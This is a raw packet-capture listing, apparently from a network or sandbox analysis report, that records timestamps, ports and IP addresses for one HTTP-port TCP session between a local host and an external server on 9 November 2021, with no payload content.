Nov 9, 2021 22:21:14.005547047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005548000 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005604982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005605936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005659103 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005665064 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005717993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005723000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005779982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005790949 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005836010 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005836010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005886078 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005893946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.005939960 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.005953074 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.006005049 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.006007910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.006063938 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.006068945 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.006133080 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.286132097 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.286160946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.286180019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.286207914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.286237955 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.286477089 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306137085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306170940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306196928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306196928 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306211948 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306217909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306237936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306237936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306258917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306262016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306279898 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306281090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306303024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306307077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306318998 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306329012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306350946 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306350946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306368113 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306374073 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306386948 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306395054 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306411028 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306415081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306432009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306436062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306451082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306457996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306473017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306480885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306492090 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306508064 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306518078 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306530952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306545973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306554079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306576014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306595087 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306612968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306612968 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306629896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306648016 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306665897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306688070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306705952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306710958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306735039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306763887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306771040 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306772947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306794882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306794882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306818962 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306821108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306842089 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306848049 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306864023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306886911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306910038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306924105 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306931973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306951046 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306968927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.306969881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.306987047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307008982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307032108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307043076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307056904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307077885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307081938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307084084 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307106972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307130098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307130098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307136059 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307151079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307174921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307195902 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307212114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307235003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307254076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307259083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307277918 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307281971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307302952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307306051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307324886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307328939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307348967 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307349920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307370901 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307374001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307378054 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307398081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307418108 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307420015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307440042 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307442904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307463884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307467937 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307485104 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307487011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307506084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307507992 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307524920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307528973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307545900 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307568073 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307569981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307574987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307589054 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307591915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307610989 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307611942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307632923 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307634115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307651043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307656050 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307673931 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307679892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307693958 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307702065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307717085 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307723999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307734966 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307746887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307768106 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307790041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307790041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307811022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307815075 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307832003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307854891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307857990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307878017 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307894945 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307902098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307920933 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307924032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307935953 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307945013 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307949066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307966948 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307971001 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.307988882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.307988882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308011055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308012009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308031082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308032036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308053017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308057070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308079958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308080912 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308095932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308101892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308120966 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308124065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308140039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308146000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308163881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308167934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308187008 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308192968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308214903 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308216095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308235884 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308239937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308263063 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308264017 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308289051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308291912 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308311939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308320999 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308336020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308357954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308362007 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308374882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308377981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308381081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308401108 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308403969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308423042 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308428049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308451891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308454990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308470011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308475971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308491945 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308499098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308518887 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308522940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308546066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308547974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308569908 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308573008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308583975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308597088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308613062 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308619022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308629990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308643103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308667898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308689117 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308691025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308696032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308712959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308713913 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308736086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308762074 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308765888 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308799982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308808088 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308823109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308835983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308862925 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308864117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308891058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308902979 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308914900 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308934927 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308939934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308959961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308963060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.308980942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.308986902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309005022 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309010029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309027910 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309032917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309051991 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309058905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309077978 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309082031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309101105 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309104919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309124947 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309128046 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309149981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309150934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309170961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309175968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309194088 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309199095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309217930 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309222937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309241056 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309246063 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309264898 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309269905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309288025 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309293985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309310913 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309317112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309334993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309340000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309357882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.309362888 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.309381008 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.310718060 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.586333990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.586369038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.586395025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.586436987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.586473942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609419107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609436989 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609464884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609489918 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609498024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609513998 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609514952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609539032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609565020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609577894 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609589100 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609612942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609637022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609638929 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609642982 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609646082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609648943 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609662056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609668016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609687090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609697104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609711885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609713078 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609735012 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609735012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609757900 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609760046 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609785080 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609786034 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609800100 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609810114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609833956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609858036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609880924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609905005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609930992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609951019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609961987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.609973907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.609997988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610022068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610044956 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610044956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610070944 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610078096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610095024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610116959 CET	80	49813	47.74.84.15	192.168.2.4
